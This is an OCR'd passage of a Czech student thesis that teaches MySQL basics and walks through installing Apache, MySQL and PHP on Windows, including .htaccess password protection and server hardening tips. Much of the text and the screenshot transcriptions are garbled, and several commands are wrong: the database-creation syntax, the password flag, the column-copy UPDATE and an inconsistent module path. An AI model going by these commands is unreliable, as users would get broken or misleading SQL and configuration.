LONGBLOB 4,2 GB X+4B
Obrazek 3 - Textové datové typy v SQL
3.3.2 Datum a ¢as
DATE 3 bajty datum yve formatn YYYY-MM-DD
DATETIM 8 hajta datum yve formatn YYYY-MM-DD HH:MM:SS
TIME 3 hajty ¢as ve formatu HH:MDM:SS
TIMESTAMP | 4 hajty ve formatuy YYYYMMDDHHMMSS (hodnoty kondi v voce
2037)
ENUM 1ugho 2 bajty | vy€et jenz oznaduie, Ze sloupec miZe nabyt jen jednn z povolen.
hodunot
SET 1- 8 bajtd %}ﬁuﬁ oznaduie, Ze sloupec miZe nahyt vice poveolenych

Obrazek 4 - datum a ¢as v SQL

3.3.3 Integritni omezeni

Do tabulek vétSinou data vkladaji koncovi uZzivatelé, proto Ize na urovni SQL serveru

zajistit n¢které pozadavky, které jsou na jednotlivé polozky kladeny. Napi.: Lze zajistit,

aby né€ktera z polozek byla vzdy vyplnéna, coz znamena, ze server nedovoli ulozit prazdny

zaznam do tabulky.
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3.3.4 Mozni integritni omezeni:
NULL a NOT NULL — urcuji, zda je zadani hodnoty do ptislusného pole povinné.

PRIMARY KEY — primarni kli¢ je pole, jehoz hodnota jedine¢nym zptisobem identifikuje

kazdy zaznam tabulky.

UNIQUE — omezujici podminka jedine¢nosti vynucuje integritu entity kli¢em, ktery neni
primarni. Zajist'uje, aby do sloupct s omezujici podminkou jedinecnosti nebyly vlozeny

duplicitni hodnoty.

UNSIGNED - oznacuje neznaménkovy Ciselny typ.

3.4 Zaklady prace s klientem my SQL

Jednim ze zpisobl komunikace se serverem MySQL je klient MySQL. Klientskou aplikaci
Ize spustit z piikazového fadku piikazem mysqgl, ktery mize mit nékolik argumentd.
Takto Ize komunikovat s MySQL serverem a upravovat data na ném. VSechny pouzité
ptikazy musi byt ukonceny stfednikem. Aby bylo mozné se pfipojit k serveru a pracovat s

daty na ném, je tfeba, aby byl spustén démon MySQL.

Argumenty :
(-u) — uzivatelské jméno
(-d) — heslo

(-h) — nazev hostitele



UTB ve Zliné, Fakulta aplikované informatiky, 2009 32

o+ Piikazovy fadek - mysgl -u root -p - |I:I |£|
icrosoft Windows HP [Uerze 5.1.2688] -
(> Copyright 1985-2801 Microsoft Corp.

HASITH

inyed wser/localsmysqlsbin

sauspslocalsmysglsbin?mysgl —u root —p

nter password: e

elcome to the MySQL monitor. Commands end with ; or “g.
our MySQL connection id is 1 to server version: 4.8.208a

ype "help;”’ or "\h’ for help. Type "“c’ to clear the buffer.

wsql> LI

Obrazek 5 - Klient SQL

3.5 Tvorba databaze
Vypis seznamu existujicich databazi na serveru MySQL:

SHOW databases;
Vytvoteni nové databaze

CREATE databases;
Vybér databaze, kterou chceme pouzivat: - moje db

USE test;

Vytvoieni databaze

o Piikazovy fadek - mysql -u roo - |EI|£|

yzgl» CREATE DATABASE moje_db; ':J
uery OK, 1 row affected (0.80 szecd —

yesgl> USE moje_db;

atahase changed
yegl>

Kl | vl s

Obrazek 6 - Vytvoreni databaze

3.6 Tvorba tabulek v SQL

K vytvoteni tabulky je zapotfebi ptikazu CREATE. Za néj se zapiSe ndzev tabulky
oddéleny mezerou. Do kulatych zavorek se zapisuji nazvy sloupcti, jejich typy a integritni

omezeni.
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Piiklad zapisu:

CREATE TABLE nézev_tabulky (
jméno sloupcel TYP [integritni omezeni],
jméno sloupce2 TYP [integritni omezeni],

.l )

o Pfikazovy fadek - mysql -u root -p - |EI|£|

mysgl? CHEATE TABLE =zakaznici < :I
—» id_cislo MEDIUMINT UNSIGHED HOT HULL AUTO_INCREMEMT .
—» jmeno UARCHAR{15> NOT HULL.
-» prijmeni UARCHAR(3@> NOT HNULL,.
—» firma UARCHAR{4A> HOT HULL. —
-» email UARCHAR{2B> HOT HULL.
=» datum_registrace DATE NOTI NULL.
—; I;RIHFIR':' KEY <id_cislo>
fGuery OK. B rows affected (B.85 sec)

mysgl> _

] | a7

Obrazek 7 - Vytvoreni tabulky v SQL

Ovéreni existence vytvorené tabulky:

SHOW TABLES;
SHOW COLUMNS FROM nazev_tabulky;

3.7 VKkladani zaznamu

K ucelu vkladani zaznamt slouzi ptikaz INSERT. Tento piikaz ma dvé varianty, které se
li§i v moznostech pfidavani dat do tabulky. V prvnim pftipad¢ Ize vybrat, které sloupce
budou zaplnény novymi hodnotami a v druhém ptipadé€ se zapisuji hodnoty vSech sloupcii

postupné, coz znamena, ze pocet vkladanych hodnot musi odpovidat poctu sloupct.

INSERT INTO nazev tabulky (sloupecl, sloupec4, ..)
VALUES (hodnotal, hodnota4d, ..);

nebo

INSERT INTO tabulka VALUES (hodnotal, hodnotaZz2, ..):;
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o Piikazovy Fadek - mysgl -u root -p - |EI|£|

ysgl» INSERT INTO zakaznici <jmeno.prijmeni.
—» firma.email.datum_registracel

=» UALUES<{"Jan"."Jansky" . "ABC" . "janskyBahc .cz" HOW{>>; [
wery OK, 1 row affected <H.80 sec)>
vl _
L4 | [

Obrazek 8 - Vkladani hodnot do tabulky
Systém MySQL také umoznuje vkladani nékolika zaznami najednou.

INSERT INTO nazev_ tabulky (sloupecl, sloupec4, ..)
VALUES (hodnotall, hodnotadl, ..),

(hodnotal2, hodnotad2, ..),

(hodnotal3, hodnota4d3, ..);

3.8 Zobrazeni dat v tabulce

Pro zobrazeni dat v tabulce se pouziva zakladni vybérovy piikaz SELECT a zapisuje se v

nasledujicim tvaru. Hvézdi¢ka znamena, Ze se zobrazi vSechny tidaje v tabulce.

SELECT * FROM nazev tabulky;

Invsql> SELECT * FROM zaka=znicis;

+ + +
i dd_cislo | jmeno | prijmeni ! firma | email i datum_registrace |
+ + + + + + +
H 1 i1 Jan ! Janskg i ABC 1 jJanskyBabc.cz | 2885-82-16 H
+ + + + + + +
1 row in set (B.08 zec)>

Obrazek 9 - Zobrazeni dat v tabulce

3.9 Manipulace s daty

Odstranovani dat
Pro ucely odstraniovani dat se pouziva pitikaz DELETE:

DELETE FROM néazev tabulky WHERE sloupec = ’'hodnota’;

Je-li tfeba zajistit vétSi bezpecnost pred nechténym odstranénim zaznamil, miZze se pouZzit

klauzule LIMIT, ktera omezi pocet odstranovanych zaznamui:

DELETE FROM néazev tabulky WHERE sloupec = ’'hodnota’LIMIT 1;
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3.10 Zména struktury

Zakladnim piikazem, ktery se pouziva pro jakoukoliv manipulaci s existujici tabulkou je

ALTER TABLE.

ALTER TABLE nazev_ tabulky vlastni pfikaz pro aktualizaci;

Piidani sloupci do tabulky
V ptipadé¢, Ze v tabulce jiz néjaka data jsou, lze pouzit nasledujici ptikaz:

ALTER TABLE nazev_tabulky
ADD COLUMN jméno sloupce typ sloupce [ integritni omezeni];

Piejmenovani sloupce

Existuji dvé moznosti jak piejmenovat sloupec. Prvni moznost je rychlejsi a vyuzije se v ni

jiz znamy piikaz ALTER TABLE.

ALTER TABLE nazev_ tabulky CHANGE COLUMN staré jméno sloupce
nové jméno sloupce typ sloupce [integritni omezeni];

Druha moznost je obecnéjsi a je tieba provést ji v n€kolika krocich. Nejprve vytvofit novy

sloupec, zkopirovat hodnoty ze starého sloupce do nového a smazat stary sloupec :

ALTER TABLE nazev_ tabulky
ADD COLUMN jméno_sloupce typ sloupce [integritni omezeni];

UPDATE nazev tabulky
SET staré jméno sloupce = nové jméno_sloupce;

ALTER TABLE nazev_ tabulky
DROP staré jméno sloupce;

Prejmenovani tabulky

Zména nazvu tabulky je moZzna v MySQL nasledovné:

ALTER TABLE nazev_ tabulky
RENAME AS novy nazev_ tabulky;
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Odstranéni tabulky

Odstranéni tabulky se provede pitikazem DROP TABLE. Pokud se provede tento piikaz

znici se vSechna data, ktera byla v mazané tabulce ulozena.

DROP TABLE nazev_ tabulky;

Odstranéni databaze

V MySQL lze odstranit celou databazi. Provede se to piikazem DROP DATABASE. Pokud
je proveden piikaz DROP DATABASE, budou odstranény vsSechny tabulky a data, ktera

byla v databazi uloZena.

DROP DATABASE nazev databaze;

3.11 Vazby mezi tabulkami

Vazby mezi tabulkami 1ze rozdélit do nésledujicich tii skupin.

Reprezentace vazby 1:1

Vztah 1:1 je nejjednodussi, a zaroven nejvice neobvykly vztah, kdy kazdému prvku

jednoho objektu nélezi prave jeden prvek druhého objektu.

Reprezentace vazby 1:N

Tato vazba je nejobvyklejSim vztahem. Jeden prvek jednoho objektu je mozné spojit s vice
prvky druhého objektu pomoci takzvaného ciziho klic¢e (foreign key). Cizi kli¢ je zvlastni
druh intergritniho omezeni. Hodnotu samotné polozky viibec nezobrazuje, ale zato
popisuje vazbu mezi tabulkami. Provazané sloupce musi byt stejného typu. Néasledujici

radky ukazuji strukturu tabulek:
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Struktura tabulek:

ZAMESTNANEC:

ID ZAM JMENO PRIJMENI ROD CISLO ODDELENI FUNKCE
1 Jan Novy 751015/2352 10 127
2 Petr Novak 780401/4421 15 121
3 Ivan Novacek 650906/1566 10 156
4 Pavel Novotny 740205/3566 20 127
ODDELENT : FUNKCE :

ID ODD NAZEV ID FN FUNKCE PLAT

10 sklad 121 vedouci 21500

15 centréala 127 technik 15000

20 pocitacovy sél 156 spravce 17500

Vytvoieni tabulek ve vztahu 1: N a jejich provazani
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Reprezentace vazby M:N
Vazba M:N spociva v tom, ze vice prvki jednoho objektu je mozné spojit s vice prvky

objektu druhého. Struktura tabulek nésleduje.

Struktura tabulek:

ZAMESTNANEC :

ID zZAM JMENO PRIJMENI ROD CISLO

1 Jan Novy 751015/2352

2 Petr Novak 780401/4421

3 Ivan Novacek 650906/1566

FUNKCE : VYKON_FUNKCE:

ID FUN NAZEV CISLO ZAM CISLO FUN
121 vedouci 1 127

127 technik 2 121

156 spravce 3 156

Vytvoreni tabulek ve vztahu M: N a jejich provazani

CREATE TABLE zamestnanec (id zam INTEGER,
Jjmeno VARCHAR(10),
prijmeni VARCHAR (20),

rod cislo VARCHAR(11) NOT NULL,
PRIMARY KEY (id zam))

4

CREATE TABLE funkce
(id_fn INTEGER,

nazev VARCHAR(10),
PRIMARY KEY (id_fn));

CREATE TABLE vykon funkce

(cislo _zam INTEGER,

cislo fn INTEGER,

PRIMARY KEY (cislo zam, cislo fn),

FOREIGN KEY (cislo zam) REFERENCES zamestnanec (id zam),
FOREIGN KEY (cislo fn) REFERENCES funkce (id fn));
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Otazka zabezpeceni webovych aplikaci je bezesporu nezanedbatelnou polozkou, které
musi byt pfi vyvoji zejména programové a kontrolni cCasti webu vénovan dostatecny
prostor. Z tohoto diivodu byly vysvétleny zékladni principy PHP a SQL. Pfiblizeni téchto
jzyki je mozné chapat jako piiklad kombinace prostiedki pro vytvareni webovych

aplikaci.

Existuji principielné jednoduché metody, jak naruSit aplikani bezpecnost, a ve vétsiné
piipadil k tomu sta¢i piristup na urovni bézného uzivatele webu. Problém je vSak casto
(zejména zacinajicimi vyvojafi) ignorovan, coz Utocnikiim znacné zjednoduSuje situaci.
Proto v budou v praktické ¢asti vysvétleny zakladni principy atokti na webové aplikace a

moznosti, jak se jim branit.
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. PRAKTICKA CAST
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4 INSTALACE A NASTAVENI AMP (APACHE, MYSQL ,PHP) POD
WINDOWS

Prakticka cast bude kontextové rozdélena na dvé casti. Prvni ¢ast popise instalaci
webového serveru Apache, PHP, SQL pod Windows a také instalaci nastroje pro spravu
databaze phpMyAdmin. Opét je dobré piipomenout, ze jde o pomiticku zacinajicim
webkodérim a webdesigneriim, a hlavné o to aby si nejpouzivanéjsi server mohli ,,osahat™
a nauCit se snim pracovat. Samoziejmé je mozné pouzit takzvané ,trojkombinace.

Instala¢ni soubory tii zastupci téchto balickli budou umistény na piilozeném CD.

Kapitola se také zmini o nastaveni konfiguracnich soubort z hlediska zabezpeceni serveru
1 ostatnich soucasti. Obecné by se dalo fici, Ze tato stat’ ukaze prakticky priklad instalace a
nastaveni kompletniho serveru. Jde sice o instalaci pouze na lokalnim pocitaci, avSak pro

zakladni poznatky je toto feSeni vyhovujici.

Druh4 ¢ast se bude zabyvat podrobnéj$im popisem nejcastéjSich utokli na webové aplikace.
Pro nézornost budou uvedeny i1 zdrojové kody nékterych zabezpecovacich mechanismi,
které¢ maji chranit webovou prezentaci pied utoky. Konkrétné se bude jednat o utoky
pomoci injekce (Inection, SQL Injection), XSS (cross site scripting) a CSRF (cross site

request forgery)

Jesté pred samotnou instalaci je tfeba stdhnout instalatory Apacheg, PHPlO, SQL11 a

phpMyAdmin*? a to nejlépe na jejich oficialnich strankach.

Funk¢ni sestava vSech komponent, o kterych je hovotfeno vyse, je samoziejmée uloZzena na

pfiloZzeném CD.

% http://httpd.apache.org/download.cgi
19 http://www.php.net/downloads.php
1 http://www.mysgl.com/downloads/
12 http://www.phpmyadmin.net/home_page/downloads.php
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4.1 Instalace Apache krok za krokem

Pro instalaci byla vybrana verze Apache 2.2.15 stazena v bindrnim (instala¢nim) souboru

uréeném pro 32bitovou verzi systému Windows.
Pro lepsi predstavu je niZze vytvofen navrh adresafové struktury serveru (kterd neni
povinnd, jen ilustracni), tak, aby byla co nejpiehlednéjsi. Pokud by byla pouzita jina

struktura, musely by se konfiguraéni soubory piizpusobit.

Apache 2.2 C:\web\prog\Apache2
PHP C:\web\prog\php5
MySQL server C:\web\prog\mysql5
Root www C:\web\www
Instalacni soubory C:\web\install
Dokumentace C:\web\manual

Adresatova struktura je tedy pfipravena a je mozné zacit s vlastni instalaci.

Nejdiive je tedy nutné nainstalovat server. K tomu slouzi binarni soubor s pfiponou .msi
stazeny z oficidlniho webu. Na instalaci neni nic
slozit¢ho. Je jen nékolik nastaveni, co stoji za

pozornost, je to volba instalace, informace o serveru a

f

nastaveni cesty. APACHE

Po spusténi instalacniho balic¢ku serveru Apache se
zobrazi uvitaci obrazovka, kterd podd informaci o
instalované verzi Apache a upozorni na copyright. Na dalsi obrazovce je nutné souhlasit
S licen¢nim ujednanim. Dal$im krokem je zobrazeni informaci o instalovaném software.
Prestoze jist¢ uzivatel vi, jaky software instaluje, mize se dozvédét zajimavé a dilezité

informace, které mu mohou pomoci pii praci. Dalsim oknem jsou informace o serveru.
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4.1.1 Informace o serveru

(5 Apache HTTP Server 2.2 - Installation Wizard

Server Information
Please enter your server's information.

Network Domain (e.g. somenet.com)

[localhost

Server Name (e.g. www,somenet,com):

I
llocalhost

Administrator's Email Address (e.q. webmaster@somenet.com):

dmin@localhost

Install Apache HTTP Server 2.2 programs and shortcuts for:

@ for &ll Users, on Port 80, as a Service -- Recornmended,

() only For the Current User, on Port 8080, when started Manually.

IrstallShizld

< Back Cancel

Obrazek 10 — Apache: Informace o serveru
Pti instalaci na lokalni pocita¢ je zvyklosti vyplnit formulafova pole tak, jak je vidét

z obrazku 16. Zde se nastavuji doména, jméno serveru a email administratora serveru.

Doménou se rozumi logicka (nikoli fyzicka) ¢ast pocitacové sité, nakterou se vztahuji
spole¢na pravidla ¢innosti. 2. Obdobnymi pravidly se fidici velké skupina pocitact
zapojenych v siti Internet; tato doména se vyznacuje piedevsim spole¢nou ¢asti internetové
adresy™.

Nazev serveru urcuje jeho vlastnik a vétSinou se shoduje s nazvem domény.
Administratorsky email, je adresa na na spravce serveru.

Posledni volbou je, zda bude sluzba Apache instalovana pro vSechny uZzivatele na portu 80,
nebo pro aktudlné piihlaSendho uzivatele 8080 s nutnosti ru¢niho spousténi sluzby. Po

nastaveni téchto parametru se instalator pfesune na volbu instalace.

4.1.2 Volba instalace

Zde jsou uvedeny jen dvé moznosti a to typical a custom. Druha volba umozni zménit

nastaveni umisténi instalace atd.

B3 Vykladovy slovnik vyporetni techniky a komunikaci
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4.1.3 Nastaveni vlastnosti

A

Custom Setup
Select the program features you want installed.

Click on an icon in the list below to change how a feature is installed.

Apache HTTP Server 2.2 - Installation Wizard

g™

Feature Description

=2 S 'I Apache HTTP Server 2.2,15
=2 \Qvl Apache Runtime

Build Headers and Libraries
=3 ~ | APR Iconv Code Pages

=3 ~ | Apache Documentation
=3 ~ | Apache Service Taskbar

This feature installs the headers
and libraries required to compile
and link additional modules.

Install to:
c:\weblproglapache2)

InstallShizld

Help Space

Icon This feature requires 5212KB on
your hard drive.
Change...
< Back Cancel

Obrazek 11 — Apache: Nastaveni vlastnosi instalace

V této ¢asti instalce se urci, kam se umisti server Apache. Pro ndzornost jej tedy umistime

do ptedem pfipravené slozky(viz. vyse).

Dale nasleduje upozornéni na moznost zmén a extrakce soubort serveru.

L
19

Ready to Install the Program

exit the wizard.

InstalShizld

The wizard is ready to begin installation.

Apache HTTP Server 2.2 - Installation Wizard

™

Click Install to begin the installation.

I you want to review or change any of your installation settings, click Back. Click Cancel to

< Back Cancel

Install

Apache HTTP Server 2.2 - Installation Wizard

Installing Apache HTTP Server 2.2.15

The program features you selected are being installed.

a

Please wait while the Installation Wizard installs Apache HTTP Server
2.2.15. This may take several minutes,

Status:

InstallShizld

Cancel

Obrazek 12 —

Apache: pribéh instalace
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Posledni ¢asti je informace o GispéSném nainstalovani.
Apache HTTP Server 2.2 - Installation Wizard

Installation Wizard Completed

The Installation Wizard has successfully installed Apache HTTP
Server 2.2.15. Click Finish to exit the wizard.

Finish

Obrazek 13 — Apache: Konec instalace

4.2 Nastaveni http.conf

Server je tedy Gspésné nainstalovan. Nyni je tieba nastavit konfiguraéni soubor httpd.conf,
coz je hlavni konfigura¢ni soubor serveru Apache. Tento soubor je, pii struktufe slozek,

ktera byla vytvotena, ma umisténi v

c:\web\prog\apache2\conf\httpd.conf

Je doporuceno jej otevirat v n€jakém editoru, napiiklad PSpad, nebo Dreamweaver, staci

vSak obycejny poznamkovy blok v systému windows.

Prvni zménou, ktera bude provedena, je nastaveni kofenového adresdie dokumentl. Toto

nastaveni umoziuje direktiva DocumentRoot. Ta bude nastavena na:
DocumentRoot "C:/web/www"
To z toho dtivodu, aby byl oddélen sesrver od vlastnich dokument.

Dalsi direktivou, jejiz parametr je tfeba zménit je Directorylndex. Nasledujicim fadkem
bude povoleno serveru, aby vyhledal a spustil v dané slozce nejdiive soubor index.htm,
pokud jej nenajde, tak index.html a pokud ve slozce neni, aby spustil soubor index.php.

Tim bude pfipraven vykondvat po naistalovani PHP jsoubory s touto ptiponou.

DirectoryIndex index.html index.htm index.php
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Dale je tfeba nastavit direktivu Listen, kterd ur¢i serveru, na které IP adrese a portu ma
naslouchat, ptipadné, na které adrese bude server piistupny zvenci. V ptipad¢, ze bude IP

adresa nastavena na 127.0.0.1 jedna se o naslouchani na localhost.

Tip
Pokud je nutné, aby byl server pristupny i z jinych pocita¢i v LAN siti, nebo bude

uZzivatel PC pracovat i s virtualnim PC napiiklad pod Linuxem, je tieba nastavit i

pevnou lokalni IP adresu vaceho PC. Napriklad 192.168.1.5

Direktiva listen bude tedy nastavena na:

Listen 127.0.0.1:80
Listen 192.168.1.5:80

Pokud bude zahrnuta i moznost externiho piistupu.

Posledni zménou bude nastaveni schopnosti spoustét php skripty, nebo jinymi slovy
ptipraveni ,,ptidy* pro instalaci PHP. Toto nastaveni se provede pfidanim nékolika fadkt

na konec souboru.
LoadModule php5 module "C:/dev/prog/php5/phpS5apache2.dl1"

AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps
Bezpecnostni doporuceni pro Apache

Zatim, tyto fadky nemaji Zadny vyznam, ale po nainstalovani modulu PHP bude mozné

spoustét PHP skripty, aniz by bylo tieba se k souboru httpd.conf vracet.

4.2.1 .htaccess a .htpasswd

Tento soubor, ktery se umistuje do kofenového adresare serveru umoznuje rozsiteni
konfigura¢niho souboru httpd.conf. Htaccess umoziuje napiiklad pfesmérovani stranek,
vypinani a zapinani index1, nastaveni chybovych stranek, omezeni ptistupu atd.

Nejzjimavéjsi funkei, pro potieby této prace, je omezeni piistupu. To lze samoziejmée
osetfit naptiklad pomoci PHP, avSak takto je to pohodlngjsi, tedy pro mensi mnoZzstvi

stalych uzivateld.

Nejdfive je nutné tento soubor vytvofit a umistit do kofenového adresaire webu, nebo do

adresare, ktery je tfeba uzamknout.
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Soubor .htaccess by mohl vypadat, pro uzaméeni adresaie, secret napiiklad takto:

AuthUserFile C:/web/www/secret/.htpasswd
AuthGroupFile /dev/null

AuthName "Sekce"

AuthType Basic

require valid-user

AuthName je nazev zaheslované ¢asti a AuthUserFile je absolutni cesta k souboru s
hesly. Absolutni cestu lze zjistit pomoci PHP funkce phpinfo() na tadku
SCRIPT_FILENAME.

Tento soubor (nazvéme jej naptiklad cesta.php) musi byt uloZen v slzce secret aby se

zobrazila spravna cesta.

Pokud by byl ostry web umistén na néjakém freehostingu, je tieba nejdiive zjistit, jestli je
na tomto hostingu .htaccess povolen. Pokud, pak by samoziejmé zamceni adresaie

nefungovalo.

Nyni je tfeba vytvofit soubor .htpasswd. Do né&j se ulozi ptistupové udaje ,,povolenych®

uzivatell. Vypadal by asi takto:

Ondra:mojeheslo
Tomas: jehoheslo

Takto jednoduché to ovSem neni. Hesla v souboru .htpasswd musi byt v kdédované podobé

Ondra:5gIm66ES5/dzZQ
Tomas:54df0xIGoileb

Pro Sifrovani hesel existuji webové néstroje, a nejen pro Sifrovani, ale i pro vytvoreni

celého obsahu souboru .htacces™*s a .htpasswd™®.

Soubory jsou tedy pfipraveny pro nakopirovani na server. V piipad¢ této prace tedy jen do

adresafe secret v document rootu serveru.

Po pfistoupeni na server, ke sloZce secret by se tedy zobrazila pfihlaSovaci tabulka, ktera

by mohla vypadat, naptiklad takto:

¥ http://htaccess.all4all.cz/
1> http://shop.alterlinks.com/htpasswd/htpasswd.php
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Vyzaduje se ovéreni [ 2%

Server na Sekce vyzaduje zadani
uzivatelského jména a hesla.

Jméno uzivatele: Ondra

FEERIATES

Heslo:

| Piihlasit se H Zrudit

Obrazek 14 - .htaccess ovéfeni jména a hesla

Bezpecnostni doporuceni

Nyni bude nésledovat nékolik obecnych rad a doporuceni, které se tykaji bezpecnosti

Apache.Tykaji se také platformy, na které server béZi a sitového prostiedi.

Sit'ové prostiredi

e  Webovy server by mél byt chranén branou Firewall. Déle by mély byt akceptvany
pouze vstupni pozadavky na portu 80 a vystuni HTTP pozadavky . Ostatni pakety
by namely byt povoleny

e M¢ly by byt preventovany, nebo detekovany zasahy do system. Logy Apache
museji byt kontrolovany

Operacni systém

e Operacni system by mél byt chranén nejvice jak je to mozné, vSechy nadbytecné

komponenty by mély byt v system zakdzany

e Pokud je to systémem podporovano, mélo by byt v system zakazano provadéni
program v zasobniku.

e Vcechny nepouzivané sitové sluzby by nemély byt povolen.
Srever Apache

e Priabézné aktualizace serveru.
Je veelku béZnou zélezitosti, Ze 1 po vydani ostré verze software se objevi chyby.
Proto je dobré kontrolovat stranky vyrobce software a sledovat servisni balicky a
bezpecnostni aktualizace. Nejen serveru, ale také ostatniho software, ktery se

serverem né¢jak souvisi.
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e Mcly by byt povoleny pouze nezbytné nutné moduly server Apache, ostatni by
mély byt béhem kompilace zakazany

e Diagnostické webové stranky a automatické inexovani musi byt vypnuto

e Server by o sobé mél poskytovat co nejmensi mnozstvi informaci (security through
obscurity). Ackoli to neni primo zabezpeceni, ito¢nikovi tento krok znesnadni jeho
utok

e Server musi bézet pod vyhrazenym uzivatelskym ID nevyuZzivanym pro jiny
systémovy proces

e Procesy Apache musi mit omezeny pfistup do system soubort (chrooting)

4.3 Instalace mySQL — R
Instalace databazového serveru MySQL je také velmi snadna. Bude Ml__j SQL
pouzit instalator, Cili odpadne prakticky jakékoli ruéni nastavovani.

Byla vybrana verze MySQL essential 5.0.51. Po spusténi instaldtoru se objevi uvitaci

obrazovka informujici o verzi instalovaného software.

V dalSim okné je moZné zvolit typ instalace.

MySQL Server 5.0 - Setup Wizard

Setup Type

Choose the setup type that best suits your needs.

Please select a setup type.
C.‘ Typical

— Common program features will be installed. Recommended for

\
general use,
)

C,\ Complete

- All program fFeatures will be installed. {Requires the most disk
Vv space.)
- i
-

@ Custorn

- Choose which program features you want installed and where they

'S ' will be installed. Recommended for advanced users.

L,

< Back Cancel

Obrazek 15 — MySQL: Vybér instalace
Zde je nutné zvolit polozku custom, aby bylo mozné nastavit umisténi instalace a dalsi

volby popsané nize.

V dalsim kroku instalace je tfeba zménit pravé umisténi instalace MySQL serveru.

V piipadé vytvorené adresaiové struktury ny byla cesta:
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c:\web\prog\MySQL5

MySQL Server 5.0 - Setup Wizard

Custom Setup

Select the program features you want installed.

Click on an icon in the list below to change how a feature is installed.

MySQL Server Bl it

Client Proarams Installs the MySQL-server
d executables.

C Include Files | Lib Files

@

¥
|
2]

X
Ll

This feature requires 22MB on
your hard drive,

Install to:
c:iwebiprogimysqlS) Change...

Help < Back Cancel

Obrazek 16 — MySQL.: Volba cesty
V dalsich krocich se zobrazi prehled zvolené konfigurace. Déle instalace nabiédne

vytvoreni u¢tu na MySQL.com, coz neni nutnosti a je mozné jej vynechat.

Instalace MySQL serveru je tedy hotova. Nyni instalator nabidne moZbost konfigurace.

Diky tomuto konfiguratoru tedy odpada ru¢ni nastaveni souboru my.ini.

V nasledujicich krocich je tfeba zvolit ,,detailni konfiguraci® serveru, coz umozni vybrat
stroje, typ databaze a dalsi volby.

Nasedujici okno davéa na vybér ze tii moZnosti. Volba se tyka toho, k ¢emu je pocitac, na
ktery bylo nainstalovano MySQL pouzivan. Pro Gcely prace bude stacit bude-li zvolena

moznost ,,developer machine®. V piipad¢, ze by bylo MySQL nainstalovano na ostry

server na, je samoziejme tteba zvolit ,,server machine®.

V nésledujicim kroku se voli typ databaze. Zde je tieba zvolit ,,multifunknéni databdzi®.

Dale ze zobrazi informace o systému a moZnost volby umisténi datového tloziste.

Déle konfogurator nabidne volbu poctu soub&znych pozadavki na server.
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Okno nastaveni sit¢ ma dv¢ volby, a to ¢islo portu, které zlistane stajné a striktni maod.

MySQL Server Instance Configuration Wizard

MySQL Server Instance Configuration

Configure the MySQL Server 5.0 server instance.

Please set the networking options.

lv Enable TCP/IP Networking

il Enable this to allow TCP{IP connections. \When disabled, only local
hy connections through named pipes are allowed.

Port Number: j [~ Add firewall exception For this port

Please set the server SQL mode.,

|v Enable Strict Mode

This option forces the server to behave more like a traditional
database server. It is recommended to enable this option.

< Back I Next > | Cancel |

Obrazek 17 — MySQL: Nastaveni sité

MySQL Server Instance Configuration Wizard

MySQL Server Instance Configuration

Configure the MySQL Server 5.0 server instance. 3

Please select the default character set.

(" Standard Character Set
Makes Latinl the default charset. This character set is suited for
English and other West European languages.

(" Best Support For Multilingualism
Make UTF8 the default character set, This is the recommended
character set for storing text in many different languages.

‘¢ Manual Selected Default Character Set / Collation
Please specify the character set to use.
Character Set: ~|

< Back | Next > | Cancel |

Obrazek 18 - MySQL: Nastaveni znakové sady

Znakova sada bude nastavena na latin2(1SO-8859-2)

V dalsim kroku je mozné nastavit, zda bude MySQL instalovano jako sluzba systému,

jméno této sluzby a zda bude tato sluzba automaticky spousténa pfi startu systému.
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MySQL Server Instance Configuration Wizard

MySQL Server Instance Configuration

Configure the MySQL Server 5.0 server instance.

Please set the Windows options.

v Install As Windows Service

This is the recommended way to run the MySQL server
on Windows.
Service Name: IMVSQL - ]

¥ Launch the MySQL Server automatically

[ Include Bin Directory in Windows PATH

Check this option to include the directory containing the
server | client executables in the Windows PATH variable
so they can be called from the command line.

Cancel |

< Back I

Obrazek 19 — MySQL: MySQL jako sluzba

Ptedposlednim oknem konfiguratoru jsou bezpecnostni vlastnosti MySQL serveru.

MySQL Server Instance Configuration Wizard

MySQL Server Instance Configuration
Configure the MySQL Server 5.0 server instance.,
Please set the security options.

v Modify Security Settings

1 MNew root password: l**"‘* Enter the root password.
(root} Confirm: l**** Retype the password.

[ Enable root access from remote machines

[ Create An Anonymous Account

This option will create an anonymous account on this server, Please
note that this can lead to an insecure system.

< Back I | Mext = I Cancel I

Obrazek 20 — MySQL: Bezpecnostni vlastnosti

V nasledujicim a také poslednim kroku konfigujatoeru se automaticky vygeneruje

nastaveni, které bylo zaddno a spusti se sluzba MySQLS. V ptipad¢€, ze vSe probéhne

korektné zobrazi se nasledujici okno. V opacném piipadé konfigurator zobrazi chybu.
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Po instalaci a nastaveni MySQL je tieba ptidat uzivatele, ktefi budou moci s databazi
operovat a pridélit jim pfistupova prava.

Rizeni p¥istupu

Zakladni funkei fizeni pfistupu je rozpoznat uzivatele pfistupujiciho z daného pocitace a
pfidélit mu piislusnd prava nad databazemi. Informace o uzivatelich a pravech jsou
ulozeny v tabulkach "user", "db", "host", "tables priv" a "columns priv" patficich do

databaze "mysql". Tato databaze byla vytvofena jiz béhem instalace. Data z ni se nacitaji

pti kazdém spusténi SQL serveru.

V nize uvedené tabulce je vidét, ktera prava je mozné uzivateliim nastavit.

Pravo sloupec Plati pro Pravo sloupec Plati pro
. . databaze, tabulky,
select | Select priv tabulky drop Drop_priv indexy
insert | Insert_priv tabulky grant Grant_priv databaze, tabulky
update | Update_priv tabulky references | References_priv | databaze, tabulky
delete | Delete_priv tabulky reload Reload_priv sprava serveru
index | Index_priv tabulky shutdown | Shutdown_priv sprava serveru
alter | Alter_priv tabulky process Process_priv sprava serveru
, pristup k
create | Create_priv datab’f‘ze’ file File_priv souborim na
tabulky, indexy
serveru

Pro nastavovani prav je vhodné vyuzivat naptiklad aplikaci PHPmyAdminlz. (Ktera je
pfilozena na CD). Vice informaci o nastaveni uZivatelskych pfistupovych prav

k administraci MySQL serveru je mozné nalézt v referenéni prirudee’®,

18 http://dev.mysql.com/doc/refman/5.0/en/adding-users.html
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4.4 Instalace modulu PHP

Instalovat PHP je mozné hned nékolika zpiisoby. Jejich
vycet je uveden nize: Z@

e Jako modul
e CGI
e F[astCGl

Pro tucely této prace byl vybran prvni zplsob instalace. Je to z toho divodu, ze tento

zpusob je na webhostingu preferovan. Pro instalaci byla zvolena verze PHP 5.2.13.

Tuto instalaci je mozné stahnout z oficialnich stranek www.php.net/download. Je

,zabalena“ v archivu ,,.zip*“. Nyni je nutné ji extrahovat do pfipraveného adresate

c:\web\prog\php5

